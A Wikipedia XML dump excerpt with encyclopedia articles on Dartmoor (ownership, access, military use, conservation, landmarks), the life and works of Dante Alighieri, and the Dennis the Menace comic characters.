The land of Dartmoor is owned by several different organizations and people. 57.3% of it is private land, much of which is owned by the [[Duke of Cornwall]], a title held under a charter of [[Edward III of England|Edward III]] by the [[Prince of Wales]]. The Ministry of Defence owns 14% (detailed later in this article), 3.8% is owned by water companies, 3.7% by the [[National Trust for Places of Historic Interest or Natural Beauty|National Trust]], 1.8% by the [[Forestry Commission]] and 1.4% by Dartmoor's [[National Park Authority]].

==Access==

There are almost [[450]] miles of [[footpath]]s and [[bridleway]]s on Dartmoor. Dartmoor differs from some other [[List of national parks of England and Wales|National Parks in England and Wales]], in that since a 1985 [[Act of Parliament]] much of it has been designated as 'Access Land', with no restrictions on where walkers can roam.  This Access Land remains privately owned land.

There are still footpaths in these areas, but they are for guidance and convenience &amp;ndash; they do not have to be kept to, and in fact footpaths in these sections of the Park are generally not waymarked. This is not connected with the [[Countryside and Rights of Way Act 2000]], which has established similar rights in other rural parts of the country. Dartmoor is largely unaffected by this legislation because of its existing arrangements.

===Letterboxing===

The definitive guide to walking on Dartmoor was written by the Victorian walker [[William Crossing]].

Dartmoor is the birthplace of the popular outdoor pursuit of [[letterboxing]], which has become increasingly popular in recent decades. Watertight containers, or 'letterboxes' are hidden throughout Dartmoor, each containing a visitor's book and a rubber stamp. The original intention was for walkers to leave a letter or postcard, which would then be collected and posted by the next person to visit the site.

Until the 1970s there were no more than a dozen such sites around the moor, usually in the most inaccessible locations. Today there are thousands of letterboxes, many within easy walking distance of the road. Clues to their locations are placed in other letterboxes or on the Internet.

=== Use by the Ministry of Defence ===
The [[Ministry of Defence (United Kingdom)|Ministry of Defence]] areas are surrounded by red and white posts and warning signs. Members of the public are allowed access, except when these areas are being used for live firing; those wishing to walk there must check the firing times.

Although the MoD only uses a small section of the moor it warns on its [http://www.dartmoor-npa.gov.uk/index/visiting/content_manager_templatepage-3.htm website] that there could be unexploded weaponry anywhere on the moor, because of more widespread use in the past.

When the extension of military training on Dartmoor was approved in [[January]] [[2003]], it proved controversial. The [[National Park Authority]] received 1,700 objections before making the decision. Objectors to the plans claim that Dartmoor should be an area for recreation, and that the training disturbs the peace.

==Preserving Dartmoor==
[[Image:Dartmoor Clapper Bridge.jpg|thumb|The clapper bridge at Postbridge]]
The integrity of this landscape, many human geographical features of which date back further than the [[Bronze Age]], remains under threat from the industrial conglomerates [[Imerys]] and [[Watts Blake Bearne]]. 

These companies hold extensive china-clay mining licences from the [[British Government]] but have recently renounced them after sustained public pressure from bodies such as the [[Dartmoor Preservation Association]].

Many of these licences predate much of the heavy machinery which is in use today. Imerys have been singled out particularly for criticism since their 'development' of [[Lee Moor]] destroyed a considerable number of archaeologically significant sites.

[[image:4893548885125.jpg|thumb|left|A damaged [[English Electric Lightning]] on one of the Dartmoor firing ranges as depicted on [[Suede (band)|Suede's]] ''[[Sci-Fi Lullabies]]'' [[compilation album]].]]The British government have made promises to protect the integrity of the moor; however, the cost of compensating the companies for these antiquated licences which would not have been granted in today's political climate may prove to be prohibitive.

The northern part of the moor has been used by the [[British Army]] and [[Royal Marines]] for manoeuvres and live-firing exercises; this is part of a tradition of military usage which dates back to the [[Napoleonic wars]]. There is a large Army training camp at [[Okehampton]].

Recently, this usage of the moor has been challenged by a number of groups such as the [[Open Space Society]] and the Dartmoor Preservation Association. 

During her lifetime, [[Sylvia Sayer|Lady Sayer]] was also an outspoken critic of the damage which she perceived that the army were doing to the moor.

==National Park Authority==

The National Park Authority is established to manage the park.  It comprises 26 members, coming from [[Devon]] [[County Council]], local [[District Council]]s and well as Government appointees.

==Towns and villages==
[[image:050715_023_uk-dev-hay.jpg|thumb|350px|Dartmoor landscape from Hay Tor.]]
Dartmoor has a population of about 33,400 people. The main towns and villages are:
*[[Ashburton, England|Ashburton]]
*[[Belstone]]
*[[Buckfast, England|Buckfast]]
*[[Chagford, England|Chagford]]
*[[Holne]]
*[[Manaton]]
*[[Moretonhampstead]]
*[[Okehampton]]
*[[Ponsworthy]]
*[[Postbridge, Devon|Postbridge]]
*[[Poundsgate]]
*[[Princetown, England|Princetown]]
*[[South Tawton]]
*[[South Zeal]]
*[[Sticklepath]]
*[[Tavistock]]
*[[Widecombe-in-the-Moor]]
*[[Yelverton, Devon|Yelverton]]

==Features==
===Well known landmarks===

*[[Bowerman's Nose]] - (unusual rock formation)
*[[Dartmoor reservoirs|Burrator Reservoir]] - (late Victorian reservoir)
*[[Childes Tomb|Childe's Tomb]] - (ancient burial site)
*[[Church House, South Tawton]] - (15th century [[church ales]] house)
*[[Crazywell Pool]] - (artificial lake)
*[[Dartmeet]] - (meeting point of East and West Dart)
*[[Devonport Leat]] - (man-made water channel)
*[[Duck's Pool, Dartmoor]] - (memorial to local writer [[William Crossing]])
*[[Eylesbarrow]] - (disused tin min)
*[[Grey Wethers]] - (pair of ancient stone circles)
*[[Grimspound]] - (Bronze Age settlement)
*[[High Willhays]] - (highest point on Dartmoor)
*[[Jay's Grave]] - (mysterious burial site)
*[[Tavistock Canal]] - (19th century canal)
*[[Two Bridges]] - (18th century coaching inn)
*[[Warren House Inn]] - (highest inn in SW England)

===Tors===
[[Image:050715 096 uk dev cox.jpg|thumb|Photo of Cox Tor]]
Dartmoor is known for its [[tor]]s. A tor is a large [[hill]], usually topped with rocks.

*[[Fox Tor]] - (overlooking the mires that inspired [[Sir Arthur Conan Doyle]]) 
*[[Hound Tor]]
*[[Hay Tor]]
*Cox Tor
{{listdev}}

===Rivers===

The levels of rainfall on Dartmoor are considerably higher than in the surrounding lowlands. With much of the national park covered in thick layers of [[peat]], the rain is readily absorbed, and is usually distributed slowly, so that the moor is rarely dry. 

As a result, there are numerous rivers and streams. These have played a key role in shaping the ancient landscape, and have also provided a vital source of power to the traditional industries on the moor - especially tin mining and quarrying. 

After prolonged periods of rain, a sudden, heavy shower can lead to a severe surge in water levels, transforming even a small stream into a dangerous torrent - impassable to walkers. 

The best known river is clearly the [[River Dart]], which is divided into the East Dart and West Dart, until they join at [[Dartmeet]]. Other significant rivers which rise within the national park include:
*[[River Ashburn|Ashburn]] 
*[[River Avon, Devon|Avon]] 
*[[River Bovey|Bovey]] 
*[[East Okement River|East Okement]] 
*[[East Webburn River|East Webburn]]
*[[River Erme|Erme]] 
*[[River Lemon|Lemon]] 
*[[River Lyd|Lyd]] 
*[[River Meavy|Meavy]] 
*[[River Plym|Plym]] 
*[[River Tavy|Tavy]]
*[[River Taw|Taw]]
*[[River Teign|Teign]]
*[[River Walkham|Walkham]]
*[[West Okement River|West Okement]]
*[[West Webburn River|West Webburn]]
*[[River Yealm|Yealm]]

==See also==
*[[Geology of the United Kingdom]]

==External links==
{{commons|Dartmoor}}
*[http://www.dartmoor-npa.gov.uk/ Dartmoor National Park Authority]
*[http://dmoz.org/Regional/Europe/United_Kingdom/England/Devon/Dartmoor/ Dartmoor (DMOZ.org)]
*[http://www.dartmoorletterboxing.org/ Dartmoor Letterboxing]
*[http://www.dartmooroutdoors.co.uk/ Dartmoor Outdoors - Outdoor Pursuits Festival]
*[http://www.legendarydartmoor.co.uk/ Dartmoor Legends]
*[http://www.phototropic.co.uk/landscapeleaps/ Dartmoor Virtual Tour.]

{{National_Parks_of_England_and_Wales}}

[[Category:Dartmoor|*]]
[[Category:National parks of England and Wales]]
[[Category:Hills of Devon]]
[[de:Dartmoor]]</text>
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    <title>Dante Alighieri</title>
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      <text xml:space="preserve">{{Redirect|Dante}}	 
[[Image:DanteFresco.jpg|thumb|right|250px|Dante in a fresco series of famous men by [[Andrea del Castagno]], ca. 1450 ([[Uffizi Gallery]])]]	 
'''Durante degli Alighieri''', better known as '''Dante''', (c. [[June 1]] [[1265]] &amp;ndash; [[September 14|September 13/14]], [[1321]]) was an Italian [[Florence|Florentine]] poet. His greatest work, ''La divina commedia'' (''[[The Divine Comedy]]''), is considered the greatest literary statement produced in [[Europe]] in the medieval period, and the basis of the modern [[Italian language]].

== From Birth to Death ==

===Early history and family===

Dante was born in 1265 and he tells us he was born under the sign of [[Gemini]], placing his birthday in June, or late May. As an infant, Dante may have been originally christened 'Durante' in Florence's [[Battistero di San Giovanni (Florence)|Baptistery]], and the name Dante could be a shortened version of that name. 

He was born into the prominent Alighieri family of Florence, with loyalties to the [[Guelphs and Ghibellines|Guelf]]s, a political alliance that supported the [[Papacy]], involved in complex opposition to the [[Guelphs and Ghibellines|Ghibellines]], who were backed by the [[Holy Roman Emperor]].
These factions fashioned their names after the ones of opposing factions of German Imperial politics, centered around the noble families of [[Welfen and Weibelingen]], but adapting their meaning to the Italian political arena. After the defeat of the Ghibellines by the Guelfs in 1289, the Guelfs themselves were divided into White Guelfs, who were wary of Papal influence, and Black Guelfs who continued to support the Papacy. Dante (a White Guelf) pretended that his family descended from the ancient Romans (Inferno, XV, 76), but the earliest relative he can mention by name is [[Cacciaguida]] degli Elisei (Paradiso, XV, 135), of no earlier than about 1100.

His father, Alighiero de Bellincione, was a White Guelf, but suffered no reprisals after the Ghibellines won the [[Battle of Montaperti]], and this safety reveals a certain personal or family prestige.

Dante's mother was Donna Bella degli Abati; &quot;Bella&quot; stands for Gabriella, but also means &quot;beautiful&quot;, while Abati (the name of a powerful family) means [[abbott]]s. She died when Dante was 5 or 6 years old, and Alighiero soon married Miss Lapa di Chiarissimo Cialuffi. (It is uncertain whether he really married her, as widowers had social limitations in these matters.) This woman definitely bore two children, Dante's brother Francesco and sister Tana (Gaetana).

When Dante was 12, in 1277, he was promised in marriage to Gemma di Manetto Donati, daughter of Messer Manetto Donati. Contracting marriages at this early age was quite common, and was an important ceremony, requiring formal deeds signed before a [[Notary public|notary]].
Dante had several sons with Gemma. As often happens with famous people, many children pretended to be Dante's offspring; however, it is likely that Jacopo, Pietro, and Antonia were truly his children. Antonia became a nun with the name of Sister Beatrice. Another man, Giovanni, claimed to be his son and was in exile with Dante, but some doubts were advanced about his claim.

===Education and poetry===
[[Image:Dante alighieri.jpg|thumb|left|Dante Alighieri]]
Not much is known about Dante's education, and it is presumed he studied at home. We know he studied [[Tuscan]] poetry, at a time when the [[Sicilian School]] (''Scuola poetica siciliana''), a cultural group from [[Sicily]], was becoming known in Tuscany. His interests brought him to discover [[Provençal]] minstrels and poets, and [[Latin]] culture (with an obvious particular devotion to [[Virgil]]).

It should be underlined that during the &quot;Secoli Bui&quot; ([[Dark Ages]]), [[Italy]] had become a mosaic of small  states, so [[Sicily]] was as far (culturally and politically) from Tuscany as [[Provence]] was: the regions did not share a language, culture, or easy communications. Nevertheless, we can assume that Dante was a keen up-to-date intellectual with international interests.

When 18, he met [[Guido Cavalcanti]], [[Lapo Gianni]], [[Cino da Pistoia]], and soon after [[Brunetto Latini]]; together they became the leaders of [[Dolce Stil Nuovo]] (The Sweet New Style). Brunetto later received a special mention in the Divine Comedy (Inferno, XV, 82), for what he had taught Dante. Other studies are reported, or deduced from ''Vita Nuova'' or the Divine Comedy, regarding painting and music.

When he was nine years old he met [[Beatrice Portinari]], the daughter of Folco Portinari, with whom he fell in love &quot;at first sight&quot;, and apparently without even having spoken to her.  He saw her frequently after age 18, often exchanging greetings in the street, but he never knew her well. It is hard to decipher of what this love consisted, but something extremely important for Italian culture was happening: as it is in the sign of this love that Dante gave his imprint to the Stil Novo and would lead poets and writers to discover the themes of Love (Amore), which had never been so emphasized before. Love for Beatrice (as in a different manner [[Petrarch|Petrarca]] would show for his Laura) would apparently be the reason for poetry and for living, together with political passions. 

When [[Beatrice Portinari|Beatrice]] died in 1290, Dante tried to find a refuge in [[Latin literature]]. From the ''[[Convivio]]'' we know that he had read [[Anicius Manlius Severinus Boethius|Boethius]]'s ''De consolatione philosophiae'' and [[Cicero]]'s ''De amicitia''.
He then dedicated himself to philosophical studies at religious schools like the Dominican one in [[Santa Maria Novella]]. He took part in the disputes that the two principal monastic orders ([[Franciscan]] and [[Dominican Order|Dominican]]) publicly or indirectly held in Florence, the former explaining the doctrine of the mystics and of [[Bonaventure|San Bonaventura]], the latter presenting Saint [[Thomas Aquinas]]' theories.
His &quot;excessive&quot; passion for philosophy would  later be criticized by the character Beatrice, in ''Purgatory''.

===Florence and politics===
[[Image:Dante Alighieri01.jpg|thumb|left|200px|Statue of Dante at the [[Uffizi]], Florence]]
Dante, like many Florentines of his day, became embroiled in the [[Guelphs and Ghibellines|Guelf-Ghibelline]] conflict. He fought in the [[battle of Campaldino]] ([[June 11]], [[1289]]), with Florentine Guelf knights against [[Arezzo]] Ghibellines, then in 1294 he was among those knights who escorted [[Charles Martel d'Anjou|Carlo Martello d'Anjou]] (son of [[Charles of Anjou]]) while he was in Florence.

To further his political career, he became a doctor and a pharmacist; he did not intend to take up those professions, but a law issued in 1295 required that nobles who wanted to assume public office had to be enrolled in one of the [[guild|''Corporazioni di Arti e Mestieri'']], so Dante obtained quick admission to the apothecaries' guild. The profession he chose was not entirely inapt, since at the time books were sold from apothecaries' shops. As a politician, he accomplished little of relevance, but he held various offices over a number of years in a city undergoing some political agitation.

After their defeat of the Ghibellines, the Guelfs divided into two factions: the White Guelfs (''Guelfi Bianchi''), Dante's party, led by Vieri dei Cerchi, and the Black Guelfs (''Guelfi Neri''), led by [[Corso Donati]]. &quot;Colours&quot; were chosen when Vieri dei Cerchi gave his protection to the Grandi's family in [[Pistoia]], which was locally called ''La parte bianca'' (the white party); Corso Donati had consequently protected the rival (''parte nera''), and these colours became the distinctive colours of the parties in Florence.

Being engaged in politics was not easy when [[Pope Boniface VIII]] was planning a military occupation of Florence, because this involved issues which transcended the city, and were beyond the scope of a local official. In 1301, [[Charles of Valois|Charles de Valois]], brother of [[Philip IV of France|Philippe le Bel]] king of [[France]], was expected to visit Florence because the Pope had appointed him peacemaker for [[Tuscany]]. But the city's government had already treated the Pope's ambassadors badly a few weeks before, seeking independence from papal influences. It was thought wise to consider the hypothesis that Charles de Valois could eventually have received other unofficial orders. So the council sent a delegation to [[Rome]], in order to ascertain the Pope's intentions. Dante was the chief of this delegation.

===Exile and death===

[[Image:Dante in Florence, Italy..jpg|thumb|Statue of Dante in Florence]]

Boniface quickly sent away the other representatives and asked Dante alone to remain in Rome. At the same time ([[November 1]], [[1301]]) Charles de Valois was entering Florence with Black Guelfs, who in the next six days destroyed everything and killed most of their enemies. A new government was installed of Black Guelfs, and Messer Cante dei [[Gabrielli]] di [[Gubbio]] was appointed ''Podestà'' (mayor) of Florence. Dante was condemned to exile for two years, and to pay a huge amount of money. The poet was still in Rome, where the Pope had &quot;suggested&quot; he stay, and was therefore considered an absconder. He could not pay  his fine and was finally condemned to perpetual exile. If he were ever caught by Florentine soldiers, he would have been summarily executed.

The poet took part in several attempts by the White Guelfs to regain the power they had lost, but these failed due to treachery. Dante, bitter at the treatment he had received at the hands of his enemies, also grew disgusted with the infighting and ineffectiveness of his erstwhile allies, and vowed to become a party of one.  At this point he began sketching the foundations for the [[Divine Comedy]], a work in 100 cantos, divided into three books of thirty-three cantos each, with a single introductory canto. Thirty-three cantos were because three was a [[lucky number]] due to the Holy [[Trinity]] and reflect popular numerology then current in medieval thought.   Certainly his literary work reflects his weary contempt for the banality of most men.

He went to [[Verona, Italy|Verona]] as a guest of Bartolomeo Della Scala, then moved to [[Sarzana]] ([[Liguria]]), and after this he is supposed to have lived for some time in [[Lucca]] with Madame Gentucca, who made his stay comfortable (and was later gratefully mentioned in Purgatorio XXIV,37). Some speculative sources say that he was in [[Paris]], too, between 1308 and 1310. Other sources, even less trustworthy, take him to [[Oxford]].

In 1310 [[Henry VII, Holy Roman Emperor|Henry VII]] of [[Luxembourg]], [[King of the Romans]] (Germany), was invading Italy; Dante saw in him the chance of revenge, so he wrote to him (and to other Italian princes) several public letters violently inciting them to destroy the Black Guelfs. Mixing religion and private concerns, he invoked the worst anger of God against his town, suggesting several particular targets that coincided with his personal enemies.

In Florence Baldo d'Aguglione pardoned most of the White Guelfs in exile and allowed them to come back; however, Dante had gone beyond the pale in his violent letters to ''Arrigo'' (Henry VII), and he was not recalled.

In 1312,  Arrigo assaulted Florence and defeated the Black Guelfs, but there is no evidence that Dante was involved. Some say he refused to participate in the assault on his city by a foreigner;  others suggest that his name had become unpleasant for White Guelfs too and that any trace of his passage had carefully been removed. In 1313 Arrigo died, and with him any residual hope for Dante to see Florence again. He returned to Verona, where [[Cangrande I della Scala]] allowed him to live in a certain security and, presumably, in a fair amount of prosperity. Cangrande was admitted to Dante's Paradise (Paradiso XVII, 76).

In 1315, Florence was forced by Uguccione della Faggiuola (the military officer controlling the town) to grant an amnesty to people in exile. Dante too was in the list of citizens to be pardoned. But Florence required that, apart from paying a sum of money, these citizens agreed to be treated as public offenders in a religious ceremony. Dante refused this outrageous formula, and preferred to remain in exile.

When Uguccione finally defeated Florence, Dante's death sentence was converted into confinement, at the sole condition that he go to Florence to swear that he would never enter the town again. Dante didn't go. His condemnation to death was confirmed and extended to his sons.

Dante still hoped late in life that he might be invited back to Florence on honourable terms. For Dante, exile was nearly a form of death, stripping him of much of his identity.  Dante addresses the pain of exile in Canto XVII (55-60) of Paradiso, where Cacciaguida, his great-great-grandfather, warns him what to expect:
[[Image:Dante.deathmask.jpg|thumb|right|250px|The [[death mask]] of Dante Alighieri (in Palazzo Vecchio, Florence)]]

:''. . . Tu lascerai ogne cosa diletta''
:''   più caramente; e questo è quello strale''
:''   che l'arco de lo essilio pria saetta.''
:''Tu proverai sì come sa di sale''
:''   lo pane altrui, e come è duro calle''
:''   lo scendere e 'l salir per l'altrui scale . . .''

:&quot;. . . You shall leave everything you love most:  
:this is the arrow that the bow of exile
:shoots first.  You are to know the bitter taste
:of others' bread, how salt it is, and know
:how hard a path it is for one who goes
:ascending and descending others' stairs . . .&quot;

As for the hope of returning to Florence, he describes it wistfully, as if he had already accepted its impossibility, in Canto XXV of Paradiso (1-9):

:''Se mai continga che 'l poema sacro''
:''   al quale ha posto mano e cielo e terra,''
:''   sì che m'ha fatto per molti anni macro,''
:''vinca la crudeltà che fuor mi serra''
:''   del bello ovile ov'io dormi' agnello,''
:''   nimico ai lupi che li danno guerra;''
:''con altra voce omai, con altro vello''
:''   ritornerò poeta, e in sul fonte''
:''   del mio battesmo prenderò 'l cappello . . .''

:If it ever come to pass that the sacred poem
:to which both heaven and earth have set their hand 
:so as to have made me lean for many years 
:should overcome the cruelty that bars me
:from the fair sheepfold where I slept as a lamb,
:an enemy to the wolves that make war on it,
:with another voice now and other fleece
:I shall return a poet and at the font
:of my baptism take the laurel crown...

Of course it never happened. Prince Guido Novello da Polenta invited him to [[Ravenna]] in 1318, and he accepted, finishing ''Paradise'' and finally died in 1321 (at the age of 56) while on the way back to Ravenna from a diplomatic mission in Venice, perhaps of [[malaria]].  Dante was buried in the Church of San Pier Maggiore (later called San Francesco). Bernardo Bembo, praetor of [[Venice]], in 1483 took care of his remains by organizing a better tomb.

On the grave, some verses of Bernardo Canaccio, a friend of Dante, dedicated to Florence:
:''parvi Florentia mater amoris''
:&quot;Florence, mother of little love&quot;

Eventually, Florence came to regret Dante's exile. In 1829, a tomb was built for him in Florence in the basilica of [[Basilica di Santa Croce di Firenze|Santa Croce]]. That tomb has been empty ever since, with Dante's body still remaining in its tomb in Ravenna, far from the land he loved so dearly.

== Works ==
&lt;!-- This part of the article needs to be expanded --&gt;
[[Image:DanteDetail.jpg|thumb|left|280px|Dante, poised between the mountain of Purgatorio and the city of Florence, displays the famous incipit ''Nel mezzo del cammin di nostra vita'' in a detail of Domenico di Michelino's painting, Florence 1465.]]
''[[The Divine Comedy]]'' describes Dante's journey through [[Divine Comedy#Inferno|Hell]] (''Inferno''), [[Divine Comedy#Purgatorio|Purgatory]] (''Purgatorio''), and [[Divine Comedy#Paradiso|Paradise]] (''Paradiso''), guided first by the Roman epic poet [[Virgil]] and then by his beloved [[Beatrice Portinari|Beatrice]].  While the vision of Hell, the ''Inferno'', is vivid for modern readers, the theological niceties presented in the other books require a certain amount of patience and scholarship to understand. ''Purgatorio'', the most lyrical and human of the three, also has the most poets in it; ''Paradiso'', the most heavily theological, has the most beautiful and ecstatic mystic passages, in which Dante tries to describe what he confesses he is unable to convey.

Dante wrote the ''Comedy'' in his regional dialect.  By creating a poem of epic structure and philosophic purpose, he established that the [[Italian language]] was suitable for the highest sort of expression, and simultaneously established the Tuscan dialect as the standard for Italian. In French, Italian is nicknamed ''la langue de Dante.'' It often confuses readers that such a serious work would be called a &quot;Comedy&quot;. In Dante's time, all serious scholarly works were written in Latin (a tradition that would persist for many hundreds of years more, until the waning years of the Enlightenment,) and works written in any other language were assumed to be comidic in nature. 
&lt;!--This last sentence would benefit from a detailed check as to exactly when Latin was phased out--&gt;

Other works include ''[[Convivio]]'' (&quot;The Banquet&quot;), a collection of poems and interpretive commentary; ''Monarchia'', which sets out Dante's ideas on global political organization; ''[[De vulgari eloquentia]]'' (&quot;On the Eloquence of Vernacular&quot;), on vernacular literature; and ''[[La Vita Nuova]]'' (&quot;The New Life&quot;), the story of his love for Beatrice Portinari, who also served as the ultimate symbol of salvation in the ''Comedy''.  The book contains love poems in Tuscan, not a new thing; the vernacular had been used for lyric works before.  But it also contains Dante's learned comments on his own work, and these too are in the vernacular, instead of the Latin that was almost universally used.

Note: References to ''La divina commedia'' are in the format (book, canto, verse), i.e. (Inferno, XV, 76).

==See also==
* [[2999 Dante|Asteroid 2999 Dante]], named after the poet
*''[[Devil May Cry]]'', a video game loosely based on the book with characters that allude to ''The Divine Comedy'', and [[Dante (Devil May Cry)|Dante]], the game's protagonist.
*''[[Devil May Cry 3: Dante's Awakening]]'', part three of the series, with more allusions to ''The Divine Comedy'', like [[Vergil (Devil May Cry)|Vergil]] and [[Cerberus]]
* [[List of Italian writers]]
* ''[[The Divine Comedy]]''
* [[Aldin]], actor who gives the voice to Dante in ''Devil May Cry''.
* [[Radiohead]], British musical group who pays homage to aspects of Dante's work through songs on the albums [[Kid A]], [[Amnesiac]] and [[Hail To The Thief]], and also the video for the 2003 single [[There There]]. Also, lead singer [[Thom Yorke]]'s partner is a Dante scholar.
* [[The Dante Club]], a mystery novel about Dante, The Divine Comedy, taking place in post Civil War [[Boston]]
*[[Fullmetal Alchemist]] contains a character named Dante who commands [[homunculus|homunculi]] named for the seven deadly sins.
* [[Tamashii no mon]], a Japanese video game based of the divine comedy.

==External links==
{{Wikisource author}}
{{wikiquote}}
{{commons|Dante Alighieri}}
* {{gutenberg author|id=Dante_Alighieri|name=Dante Alighieri}}
* [http://dante.ilt.columbia.edu/index.html &quot;Digital Dante&quot;] &amp;ndash; A resource page dedicated to Dante and his works.
* The [http://etcweb.princeton.edu/dante/index.html Princeton Dante Project]
* The [http://dante.dartmouth.edu/ Dartmouth Dante Project]
* [http://danteworlds.laits.utexas.edu/ Danteworlds] at UT Austin
* Read [http://www.readprint.com/author-2/Dante-Alighieri Dante Alighieri]'s works on [http://www.readprint.com Read Print] &amp;ndash; Free books for students, teachers, and the classic enthusiast.
* [http://www.liverpoolmuseums.org.uk/picture-of-month/displaypicture.asp?venue=2&amp;id=152 Henry Holiday's 'Dante and Beatrice']
* [http://www.greatdante.net &quot;Dante Alighieri on the Web&quot;], about his life, time, and (complete) work.
* [http://plato.stanford.edu/entries/dante/ Stanford Encyclopedia of Philosophy entry]
* [http://www.englishdante.com/ English translation of ''The Comedy''] by  Anthony LaPorta
* [http://www.danteonline.it/ Società Dantesca Italiana (bilingual site)] contains among other info a database of all the earliest manuscripts of Dante's works, with (for some) transcription of the text and page images 
*[http://books.guardian.co.uk/authors/author/0,5917,-2,00.html Guardian Books &quot;Author Page&quot;], with profile and links to further articles.

*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=5101 Dante Ravenna Tomb]

*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=18886 Dante Cenotaph Tomb]

[[Category:1265 births|Alighieri, Dante]]
[[Category:1321 deaths|Alighieri, Dante]]
[[Category:Christian writers|Alighieri]]
[[Category:Italian poets|Alighieri]]
[[Category:Italian writers|Alighieri]]
[[Category:Medieval literature|Alighieri]]
[[Category:Natives of Tuscany|Alighieri]]
[[Category:Italian Renaissance authors|Alighieri]]

{{Link FA|pt}}

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  </page>
  <page>
    <title>Dennis the Menace</title>
    <id>8171</id>
    <revision>
      <id>22285996</id>
      <timestamp>2005-08-31T23:12:56Z</timestamp>
      <contributor>
        <username>JianLi</username>
        <id>399414</id>
      </contributor>
      <comment>stylistic</comment>
      <text xml:space="preserve">'''''Dennis the Menace''''' denotes either of two [[cartoon]] characters.  In a strange coincidence, both characters premiered in [[comic strip]] form in the same week, one in the [[United States]], and one in the [[United Kingdom]]. 

Both feature a boy with a tendency to break rules, although the tone of the two cartoons is rather different.  The US Dennis tends to cause trouble more by accident, while the UK version is straightforwardly malicious:

* '''[[Dennis the Menace (UK)]]'''
* '''[[Dennis the Menace (US)]]'''

'''Dennis the Menace''' is also a nickname given to the [[2005]] [[Hurricane Dennis]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Dennis the Menace (UK)</title>
    <id>8172</id>
    <revision>
      <id>41932785</id>
      <timestamp>2006-03-02T18:44:26Z</timestamp>
      <contributor>
        <ip>86.129.173.132</ip>
      </contributor>
      <text xml:space="preserve">{{Beano strip|
strip_name=Dennis the Menace and Gnasher|
image=[[Image:Dennis_the_menace.JPG|Dennis the Menace as drawn by Barrie Appleby]]
[[Image:Gnasher.JPG|Gnasher- Dennis's dog sidekick]]|
artist=Nigel Parkinson, Jimmy Hansen|
start_issue=452|
start_date=[[March 17]] [[1951]]|
finish=Ongoing|
characters=Dennis, Gnasher, Gnipper, Rasher, Mum, Dad, Curly, Pie Face, Walter and the Softies, Sergeant Slipper, The Colonel|
}}
:''For the United States comic strip of the same name, see [[Dennis the Menace (US)]].''

'''''Dennis the Menace''''' (known as '''''Dennis the Menace and Gnasher''''' since [[1970]]) is a long-running [[comic strip]] featured in [[The Beano]] children's [[comic book|comic]], published by [[D. C. Thomson &amp; Co. Ltd]], [[Dundee]], [[Scotland]], in the [[United Kingdom]]. The strip first appeared in issue 452, released on [[15 March]] [[1951]] (cover dated for the off-sale date of [[17 March]]), and is the longest running strip in the comic. From issue 1678 onwards (dated [[14 September]] [[1974]]) Dennis managed to grab the front cover, replacing [[Biffo the Bear]], and has been there ever since.

Coincidentally three days earlier another ''[[Dennis the Menace (US)|Dennis the Menace]]'' debuted in the [[United States]]. The two strips should not be confused &amp;mdash; as a result of this the US series has been retitled ''Dennis'' for UK consumption.

''Dennis the Menace and Gnasher'' was first drawn by [[David Law]] ([[1951]] &amp;ndash; [[1970]]), then [[David Sutherland]] ([[1970]] &amp;ndash; [[1998]]).  [[David Parkins]] took over in [[1998]], but due to his other work commitments, [[Nigel Parkinson]] and increasingly [[Jimmy Hansen]] have drawn the lion's share of the strips for some years.  [[Barrie Appleby]] did the artwork for the [[Beano Superstars]] series, which, towards the end of its run, resorted exclusively to strips based on the TV series (see below).

The main recurring storyline throughout the years features Dennis's campaign of terror against a gang of 'softies', particularly Walter. Bad things tend to happen to Walter quite regularly.

Dennis usually used to get away with his mischief for a while before ending up getting a [[spanking]] from his father, for which Dennis's father used a slipper. Dennis' best defence involved sticking a thick book down his shorts. His dad never noticed. Dennis' grandma also had a slipper, except it was made of [[elephant]] skin and called 'The Demon Whacker'. Since the [[1980s]], however, the slipper is no longer used.

[[Image:DennisUK.png|left|Dennis the Menace, as drawn by David Law]]
A few weeks after the strip's launch, Dennis started wearing a striped red-and-black jumper, which along with his spiky hair has become his trademark. It is notable that another [[Beano]] character, Minnie The Minx, also wears this colour jumper. He uses his faithful [[pea shooter]], [[slingshot|catapult]] and [[squirt gun|water pistol]].

A Dennis the Menace [[fan club]] was set up in [[1976]]. By the time it was replaced with The Beano Club in [[1998]], it had reached over a million members (the millionth occurring in [[1988]]), including [[Mark Hamill]] in [[1979]].

A Dennis the Menace [[animation|animated cartoon]] began airing on [[BBC One]] (as part of [[CBBC]]) in [[1996]], with another series following in [[1998]]. Originally called ''Dennis the Menace'' in the UK, for international broadcast, the series was renamed ''Dennis and Gnasher''. 

==Characters==
[[Image:Dennis stamp.png|frame|110px|UK [[Postage stamp|stamp]] first issued in [[1990]]]]
Over the years a variety of subsidiary characters have arisen.

'''Dennis' Dad''', along with Dennis himself, appeared in the first strip. His hair loss is down to Dennis's menacing, and his real name has never been given. He also appears in both ''Bea'' and ''Gnasher and Gnipper''. The real name of his wife, '''Dennis's Mum''', has also never been given.   According to the letters page of an early 1990s Beano, he was christened &quot;Dennis' Dad&quot;.  In his twenties he met a girl named Dennis's Mum, and they knew they were made for each other.

'''[[Bea (Dennis the Menace character)|Bea]]''' is Dennis's little sister, born in issue 2931, dated [[19 September]] [[1998]]. She has her own strip (''Bea'') and sometimes appears in ''Dennis the Menace and Gnasher''.

'''Granny''' is Dennis' Dad's mother.  She owned the Demon Whacker, as above, but in the late 1980s/early 1990s, she got her own strip - [[Go Granny Go]] drawn by [[Brian Walker]].  As a result, she transformed from the indulgent Granny who used the Demon Whacker when necessary to a very active elderly lady who enjoyed her motorbikes.

'''Gnasher''' is a black [[dog]] owned by Dennis who first appeared in issue 1363, dated [[31 August]] [[1968]].  He is supposedly an Abyssinian wire-haired tripehound, although sceptics have suggested that he looks more like Dennis's hair, eyes, and teeth gone for a walk on their own.  He has extremely strong teeth that can leave teethmarks in seemingly anything, and is usually called upon by Dennis to 'gnash' their way out of situations; however, he usually prefers to bite the postal workers in the mornings.

Since [[1986]] Gnasher has had a son, '''Gnipper''', who appears with him in the separate strip ''[[Gnasher and Gnipper]]''. He first appeared in issue 2286, dated [[10 May]] [[1986]].
